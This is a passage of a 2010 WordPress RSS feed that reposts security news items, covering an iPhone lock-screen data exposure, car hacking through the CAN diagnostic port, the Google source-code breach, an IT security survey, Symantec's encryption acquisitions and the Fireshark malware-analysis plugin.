		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=1949</guid>
		<description><![CDATA[If you feel like going through the process of typing in your PIN every time you unlock your iPhone is worth it thanks to the unconquerable security it implies, you might want to read this report from Bernd Marienfeldt about the chosen one&#8217;s security model. Yes, a PIN will keep casual users from picking up [...]]]></description>
			<content:encoded><![CDATA[<p>If you feel like going through the process of typing in your PIN every  time you unlock your <a href="http://www.engadget.com/product/iphone-3gs" target="_blank" class="liexternal">iPhone</a> is worth it  thanks to the unconquerable security it implies, you might want to read  this report from Bernd Marienfeldt about the chosen one&#8217;s security  model. Yes, a PIN will keep casual users from picking up your phone and  making a call with it, or firing off an e-mail to your co-workers saying  that you&#8217;re quitting and becoming an exotic dancer, but it won&#8217;t keep  someone from accessing all your data. Bernd and fellow security guru Jim  Herbeck have discovered that plugging even a fully up-to-date,  non-jailbroken iPhone 3GS into a computer running Ubuntu Lucid Lynx  allows nearly full read access to the phone&#8217;s storage &#8212; even when it&#8217;s  locked. The belief is that they&#8217;re just a buffer overflow away from full  write access as well, which would surely open the door to making calls.  Bernd believes the iPhone&#8217;s lack of data encryption for content is a  real problem, and also cites the inability to digitally sign e-mails as  reasons why the iPhone is still not ready for prime time in the  enterprise.</p>
<p><a href="http://www.engadget.com/2010/05/27/iphone-vulnerability-leaves-your-data-wide-open-even-when-using/" target="_blank" class="liexternal">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/05/31/iphone-vulnerability-leaves-your-data-wide-open-even-when-using-a-pin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Car hackers can kill brakes, engine, and more</title>
		<link>http://orange.id.au/wordpress/index.php/2010/05/31/car-hackers-can-kill-brakes-engine-and-more/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/05/31/car-hackers-can-kill-brakes-engine-and-more/#comments</comments>
		<pubDate>Sun, 30 May 2010 23:48:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General Tech]]></category>
		<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cars]]></category>

		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=1917</guid>
		<description><![CDATA[University researchers have taken a close look at the computer systems used to run today&#8217;s cars and discovered new ways to hack into them, sometimes with frightening results. In a paper set to be presented at a security conference in Oakland, California, next week, the security researchers say that by connecting to a standard diagnostic [...]]]></description>
			<content:encoded><![CDATA[<p>University researchers have taken a close look at  the computer systems used to run today&#8217;s cars and discovered new ways to  hack into them, sometimes with frightening results.</p>
<p>In a <a href="http://www.autosec.org/" target="_blank" class="liexternal">paper</a> set to be presented at a security conference in Oakland, California,  next week, the security researchers say that by connecting to a standard  diagnostic computer port included in late-model cars, they were able to  do some nasty things, such as turning off the brakes, changing the  speedometer reading, blasting hot air or music on the radio, and locking  passengers in the car.</p>
<p>In a late 2009  demonstration at a decommissioned airfield in Blaine Washington, they  hacked into a test car&#8217;s electronic braking system and prevented a test  driver from braking a moving car &#8212; no matter how hard he pressed on the  brakes. In other tests, they were able to kill the engine, falsify the  speedometer reading, and automatically lock the car&#8217;s brakes unevenly, a  maneuver that could destabilize the car traveling high speeds. They ran  their test by plugging a laptop into the car&#8217;s diagnostic system and  then controlling that computer wirelessly, from a laptop in a vehicle  riding next to the car.</p>
<p>The point of the  research isn&#8217;t to scare a nation of drivers, already made nervous by  stories of software glitches, faulty brakes and massive automotive  recalls. It&#8217;s to warn the car industry that it needs to keep security in  mind as it develops more sophisticated automotive computer systems.</p>
<p>&#8220;We think this is an industry issue,&#8221; said Stefan  Savage, an associate professor with the University of California, San  Diego.</p>
<p>He and co-researcher Tadayoshi Kohno of  the University of Washington, describe the real-world risk of any of the  attacks they&#8217;ve worked out as extremely low. An attacker would have to  have sophisticated programming abilities and also be able to physically  mount some sort of computer on the victim&#8217;s car to gain access to the  embedded systems. But as they look at all of the wireless and  Internet-enabled systems the auto industry is dreaming up for tomorrow&#8217;s  cars, they see some serious areas for concern.</p>
<p>&#8220;If  there&#8217;s no action taken on the part of all the relevant stakeholders,  then I think there might be a reason to be concerned,&#8221; Kohno said.  Neither he nor Savage would name the maker of the car they conducted  their tests on. They don&#8217;t want to single out any one auto-maker, they  said.</p>
<p>That probably comes as a relief to  whomever made the car the researchers probed, as they found it pretty  easy to hack.</p>
<p>&#8220;In starting this project we  expected to spend significant effort reverse-engineering, with  non-trivial effort to identify and exploit each subtle vulnerability,&#8221;  they write in their paper. &#8220;However, we found existing automotive  systems—at least those we tested—to be tremendously fragile.&#8221;</p>
<p>To hack the cars, they needed to learn about the  Controller Area Network (CAN) system, mandated as a diagnostic tool for  all U.S. cars built, starting in 2008. They developed a program called  CarShark that listens in on CAN traffic as it&#8217;s sent about the onboard  network, and then built ways to add their own network packets.</p>
<p>Step-by-step, they figured out how to take over  computer-controlled car systems: the radio, instrument panel, engine,  brakes, heating and air conditioning, and even the body controller  system, used to pop the trunk, open windows, lock doors and toot the  horn.</p>
<p>They developed a lot of attacks using a  technique called &#8220;fuzzing&#8221; &#8212; where they simply spit a large number of  random packets at a component and see what happens.</p>
<p>&#8220;The computer control is essential to a lot of the  safety features that we depend on,&#8221; Savage said. &#8220;When you expose those  same computers to an attack, you can have very surprising results, such  as you put your foot down on a brake pedal and it doesn&#8217;t stop.&#8221;</p>
<p>Another discovery: although industry standards say  that onboard systems are supposed to be protected against unauthorized  firmware updates, the researchers found that they could change the  firmware on some systems without any sort of authentication.</p>
<p>In one attack that the researchers call  &#8220;Self-destruct&#8221; they launch a 60 second countdown on the driver&#8217;s  dashboard that&#8217;s accompanied by a clicking noise, and then finally  warning honks in the final seconds. As the time hits zero, the car&#8217;s  engine is killed and the doors are locked. This attack takes less than  200 lines of code &#8212; most of it devoted to keeping time during the  countdown.</p>
<p>Hacking a car isn&#8217;t for the  faint-hearted. At several points the team worried it might have come  close to permanently damaging the two identical-make cars it  experimented with, but that never happened, Kohno said. &#8220;You really  don&#8217;t want software to accidentally change critical parts of the  transmission,&#8221; he said.</p>
<p><a href="http://www.pcworld.idg.com.au/article/346630/car_hackers_can_kill_brakes_engine_more/?fp=4&amp;fpid=762453&amp;eid=110" target="_blank" class="liexternal"> Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/05/31/car-hackers-can-kill-brakes-engine-and-more/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Report: Google Hackers Stole Source Code of Global Password System</title>
		<link>http://orange.id.au/wordpress/index.php/2010/05/03/report-google-hackers-stole-source-code-of-global-password-system/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/05/03/report-google-hackers-stole-source-code-of-global-password-system/#comments</comments>
		<pubDate>Mon, 03 May 2010 01:42:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>customer passwords</category><category>google</category><category>security vulnerabilities</category><category>software repository</category><category>sophisticated attack</category><category>source code repositories</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=1897</guid>
		<description><![CDATA[The hackers who breached Google’s network last year were able to nab the source code for the company’s global password system, according to The New York Times. The single sign-on password system, which Google referred to internally as “Gaia,” allows users to log into a constellation of services the company offers — Gmail, search, business [...]]]></description>
			<content:encoded><![CDATA[<p>The hackers who breached Google’s network last year were able to nab  the source code for the company’s global password system, according to <em>The  New York Times</em>.</p>
<p>The single sign-on password system, which Google referred to  internally as “Gaia,” allows users to log into a constellation of  services the company offers — Gmail, search, business applications and  others — using one password.</p>
<p>The hackers, who are still unknown, were able to steal the code after  gaining <a href="http://www.nytimes.com/2010/04/20/technology/20google.html" target="_blank" class="liexternal">access  to the company’s software repository</a>, which stores the crown jewels  for its search engine and other programs.</p>
<p>Because the hackers grabbed the software, and do not appear to have  grabbed customer passwords, users aren’t directly affected by the theft.  But the hackers could study the software for security vulnerabilities  to devise ways to breach the system that could later affect users.</p>
<p>Google announced in January that it and <a href="http://www.wired.com/threatlevel/2010/01/google-censorship-china/" target="_blank" class="liexternal">numerous  other companies had been hacked</a> in a sophisticated attack. The  hackers had <a href="http://www.wired.com/threatlevel/2010/01/google-hack-attack/" target="_blank" class="liexternal">targeted  source code repositories</a> at many of the companies, including  Google.</p>
<p>According to the <em>Times</em>, the theft began when an instant  message was sent to a Google employee in China who was using Windows  Messenger. The message included a link to a malicious website. Once the  employee clicked on the link, the intruders were able to gain access to  the employee’s computer and from there to computers used by software  developers at Google’s headquarters in California.</p>
<p>The intruders seemed to know the names of the Gaia software  developers, according to the <em>Times</em>. The intruders had access to  an internal Google corporate directory known as Moma, which lists the  work activities of every Google employee.</p>
<p>They initially tried to access the programmer’s work computers and  “then used a set of sophisticated techniques to gain access to the  repositories where the source code for the program was stored.”</p>
<p>The <em>Times</em> doesn’t elaborate on the set of sophisticated  techniques the hackers used to access the source code, but in March,  security firm McAfee released a white paper in relation to the Google  hack that describes <a href="http://www.wired.com/threatlevel/2010/03/source-code-hackssource-code-hacks/" target="_blank" class="liexternal broken_link">serious  security vulnerabilities</a> it found in software configuration  management systems (SCMs) used by companies that were targeted in the  hacks.</p>
<p>“[The SCMs] were wide open,” Dmitri Alperovitch, McAfee’s vice  president for threat research told Threat Level at the time. “No one  ever thought about securing them, yet these were the crown jewels of  most of these companies in many ways — much more valuable than any  financial or personally identifiable data that they may have and spend  so much time and effort protecting.”</p>
<p>Many of the companies that were attacked used the same source-code  management system made by <a href="http://www.perforce.com/perforce/products.html" target="_blank" class="liexternal">Perforce</a>, a  California-based company, according to McAfee. The paper didn’t  indicate, however, whether Google used Perforce or had another system in  place with vulnerabilities.</p>
<p>According to McAfee’s earlier report, the malicious website the  hackers used in the Google hack was hosted in Taiwan. Once the victim  clicked on a link to the site, the site downloaded and executed a  malicious JavaScript, with a zero-day exploit that attacked a  vulnerability in the user’s Internet Explorer browser.</p>
<p>A binary disguised as a JPEG file then downloaded to the user’s  system and opened a backdoor onto the computer and set up a connection  to the attackers’ command-and-control servers, also hosted in Taiwan.</p>
<p>From that initial access point, the attackers obtained access to the  source-code management system or burrowed deeper into the corporate  network to gain a persistent hold.</p>
<p>According to the paper, the hackers were successful at accessing  source code because many SCMs are not secured out of the box and do not  maintain sufficient logs to help forensic investigators examining an  attack.</p>
<p>“Additionally, due to the open nature of most SCM systems today, much  of the source code it is built to protect can be copied and managed on  the endpoint developer system,” the white paper states. “It is quite  common to have developers copy source code files to their local systems,  edit them locally, and then check them back into the source code tree….  As a result, attackers often don’t even need to target and hack the  backend SCM systems; they can simply target the individual developer  systems to harvest large amounts of source code rather quickly.”</p>
<p>Alperovitch told Threat Level his company had seen no evidence to  indicate that source code at any of the hacked companies had been  altered.</p>
<p><a href="http://www.wired.com/threatlevel/2010/04/google-hackers/" target="_blank" class="liexternal">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/05/03/report-google-hackers-stole-source-code-of-global-password-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rethinking security</title>
		<link>http://orange.id.au/wordpress/index.php/2010/05/03/rethinking-security/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/05/03/rethinking-security/#comments</comments>
		<pubDate>Mon, 03 May 2010 00:58:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>security landscape</category><category>security worries</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=1883</guid>
		<description><![CDATA[Ask any IT manager, business leader or regulator and they will tell you that IT security is important &#8211; that much goes without saying. As the chart below shows, for many professionals the role of security in IT is now seen to be a fundamental part of delivering day to day IT service to users, [...]]]></description>
			<content:encoded><![CDATA[<p>Ask any IT manager, business leader or regulator and they will tell  you that IT security is important &#8211; that much goes without saying.</p>
<p>As the chart below shows, for many professionals the role of security  in IT is now seen to be a fundamental part of delivering day to day IT  service to users, wherever they are, whenever they need service and  using whatever device is best suited to the task.</p>
<p>It is no longer a separate entity that only succeeds in adding  complexity to an already difficult occupation. But as IT and networking  technologies become more complex and as business demands for service  flexibility grow is it time for IT professionals to rethink security?</p>
<p><img src="http://regmedia.co.uk/2010/04/25/fig1.gif" alt="" width="580" height="446" /></p>
<p>A major challenge for everyone is keeping up with just how quickly  the “security” landscape is changing. We know that the traditional  drivers for raising the security bar, namely external regulation,  concerns over “privacy” and the protection of corporate data along with  increasing amounts of legislation still constitute a considerable  challenge for many organisations. While these are matters of concern it  has to be recognised that they amount to “known”, definable challenges.</p>
<p>These are now being supplemented by a raft of new security worries as  user behaviour alters, especially around the use of mobile devices and  equipment acquired outside of the standard procedures. There is also the  social side of the behaviour equation.</p>
<p>We know from <a href="http://www.theregister.co.uk/2009/10/02/video_conferencing/" target="_blank" class="liexternal">prior research</a> that the ‘official’ use of social  media is slowly taking off inside business processes. But <em>Reg</em> readers also tell us that the ‘unofficial’ use of social media tools is a  bigger part of daily business life. With people becoming ever more  cavalier about sharing information, especially younger workers who have  grown up putting their life’s story on the Web, just how is the  “security landscape” changing in your business?</p>
<p>Are there any new service areas, such as Unified Communications,  instant messaging, screen sharing, Webinar services or other social  media sites which you think will have a major impact on how you should  treat security? Equally, do you think that they will lead to  modifications in your security policies, and if so, when?</p>
<p>In most organisations security is still about securing computers, be  they servers, desktops or laptops. But we know that the emphasis should  really be on the services that users access rather than the details of  the machine they sit at. So if security emphasis is still centred on  computers, what about all the other stuff: services, data, information,  interactions and virtual relationships?</p>
<p>This naturally raises the question of how to integrate security  across systems where you do not have direct control. These include the  use of external service providers, social cloud-based systems and  collaboration solutions and even the personal devices employees use  every day in their business processes. Do you still have a good idea of  just what you are trying to secure?</p>
<p>As new threats and behaviours emerge, needing different solutions to  secure systems without putting security barriers in the way of  operations, it&#8217;s likely that identity management and access control  systems and protection, encryption and key management tools will grow in  importance. The challenge is to make them effective without generating  end-user resistance and avoidance. Perhaps the real issue is a need to  raise the awareness of corporate security responsibility that every  member of staff has. But how realistic is this when it is difficult  enough to get them to remember their password without resorting to  writing it down on a post-it note?</p>
<p>It is clearly hard to keep so many factors in focus, especially when  the business demands more from IT every day without adding in the  additional skilled manpower resources to lighten the load. We would like  to know if you have found workable policies, procedures and tools that  let you secure the ever-expanding range of information, interactions,  processes and the social networking environments commonly accessed every  day. Have you been asked to change the behaviours of your users? If you  have succeeded please let us know how. ®</p>
<p><a href="http://www.theregister.co.uk/2010/04/26/rethinking_security/" target="_blank" class="liexternal">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/05/03/rethinking-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symantec spends $370 mln on encryption companies</title>
		<link>http://orange.id.au/wordpress/index.php/2010/05/03/symantec-spends-370-mln-on-encryption-companies/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/05/03/symantec-spends-370-mln-on-encryption-companies/#comments</comments>
		<pubDate>Mon, 03 May 2010 00:42:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>computer security software</category><category>data loss prevention</category><category>loss prevention programs</category><category>symantec corp</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=1869</guid>
		<description><![CDATA[BOSTON, April 29 (Reuters) &#8211; Symantec Corp (SYMC.O), the world&#8217;s biggest maker of computer security software, has agreed to pay $370 million to buy two makers of technology that businesses use to scramble sensitive corporate data. The security giant said on Thursday that it would pay $300 million for privately held PGP Corp and $70 [...]]]></description>
			<content:encoded><![CDATA[<p>BOSTON, April 29 (Reuters) &#8211; Symantec Corp (SYMC.O), the world&#8217;s biggest maker of computer security software, has agreed to pay $370 million to buy two makers of technology that businesses use to scramble sensitive corporate data.</p>
<p>The security giant said on Thursday that it  would pay $300 million for privately held PGP Corp and $70 million for GuardianEdge as it expands its line of security offerings that currently includes anti-virus software and data loss prevention programs.</p>
<p>&#8220;These acquisitions help  fill product holes that should enable the company to gain further inroads with large enterprises, SMBs and government agencies,&#8221; FBR Capital Markets analyst Daniel Ives said in a note to clients.</p>
<p>Symantec&#8217;s chief rival, McAfee Inc (MFE.N), entered the encryption market in 2007 with its purchase of SafeBoot.</p>
<p>Demand for technology to encrypt, or  scramble, data on computers, mobile devices and storage equipment is growing rapidly as governments are tightening regulations to protect confidential customer data.</p>
<p>Symantec said that the acquisitions would hurt profit, excluding items, in the fiscal year that ends in March 2011 by 2 cents per share, but add to earnings in the following year.</p>
<p>PGP posted revenue of $75 million in the  year to March 31, while Guardian edge had revenue of $18 million.  (Reporting by <a href="http://blogs.reuters.com/search/journalist.php?edition=us&amp;n=jim.finkle&amp;" target="_blank" class="liexternal">Jim  Finkle</a>, editing by Matthew Lewis)</p>
<p><a href="http://www.reuters.com/article/idUSN2919408120100429" target="_blank" class="liexternal">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/05/03/symantec-spends-370-mln-on-encryption-companies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fireshark plugin decodes the malicious Web</title>
		<link>http://orange.id.au/wordpress/index.php/2010/04/20/fireshark-plugin-decodes-the-malicious-web/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/04/20/fireshark-plugin-decodes-the-malicious-web/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 23:44:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bllck hat]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[Fireshark]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[websense]]></category>

		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=1866</guid>
		<description><![CDATA[A computer security researcher has released a plugin for Firefox that provides a wealth of data on Web sites that may have been compromised with malicious code. The plugin, called Fireshark, was released on Wednesday at the Black Hat conference. The open-source free tool is designed to address the shortcomings in other programs used to [...]]]></description>
			<content:encoded><![CDATA[<div id="article_body">
<p>A computer security researcher has released a  plugin for Firefox that provides a wealth of data on Web sites that may  have been compromised with malicious code.</p>
<p>The  plugin, called Fireshark, was released on Wednesday at the Black Hat  conference. The open-source free tool is designed to address the  shortcomings in other programs used to analyze malicious Web sites, said  Stephan Chenette, a principal security researcher at Websense, which  lets Chenette develop Fireshark in the course of his job.</p>
<p>Hackers often target legitimate Web sites with code  that can either infect a machine with malicious software or redirect a  user to a bad Web page.</p>
<p>Websense specializes in  detecting Web pages that have been infected, as many site  administrators don&#8217;t know that their sites are harmful to visitors or  have difficulty reverse-engineering malicious code. Fireshark will &#8220;show  you the exact details of a mass compromise,&#8221; Chenette said.</p>
<p>Over the last 12 months, the number of newly  compromised Web sites has increased about 225 percent, Chenette said.</p>
<p>&#8220;That means attackers are controlling more content  that ever before that is being fed to users.&#8221;</p>
<p>Fireshark  must be run in a virtual machine in order to prevent an infection.  Users can input a list of Web sites for investigation. Fireshark then  exposes the Web sites&#8217; code.</p>
<p>That harmful code  is often obfuscated, so it is difficult to tell what it actually does,  Chenette said. But the obfuscated code has to run in the browser in  order to work. Fireshark exposes the code, which normally can&#8217;t be  viewed, when it runs in the browser&#8217;s memory.</p>
<p>&#8220;I  became frustrated at the publicly available tools,&#8221; Chenette said. &#8220;I  heard the outcry from the community that there are not the correct tools  to reverse the obfuscated content.&#8221;</p>
<p>Once the  code has been exposed, it&#8217;s then possible to do more investigation and  see if other Web sites are affected, Chenette said. Fireshark will show  vulnerabilties and exploits on Web sites.</p>
<p>Many  Web sites will be infected with code that either delivers malware or  redirects users to bad Web sites. The tools also generate maps of those  redirections, which can give clues as to who may be behind the attacks.</p>
<p>Fireshark collects the data in a &#8220;.yml&#8221; file, which  is similar to an XML file, Chenette said. The &#8220;.yml&#8221; file can then be  integrated into other security analysis tools, Chenette said. The data  that Fireshark collects is all held locally, and none of it is shared  with Websense.</p>
<p>Fireshark is available to <a href="http://fireshark.org/" target="_blank" class="liexternal">download.</a></p>
<p><a href="http://www.arnnet.com.au/article/343261/fireshark_plugin_decodes_malicious_web/?eid=-217" target="_blank" class="liexternal">Link</a></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/04/20/fireshark-plugin-decodes-the-malicious-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
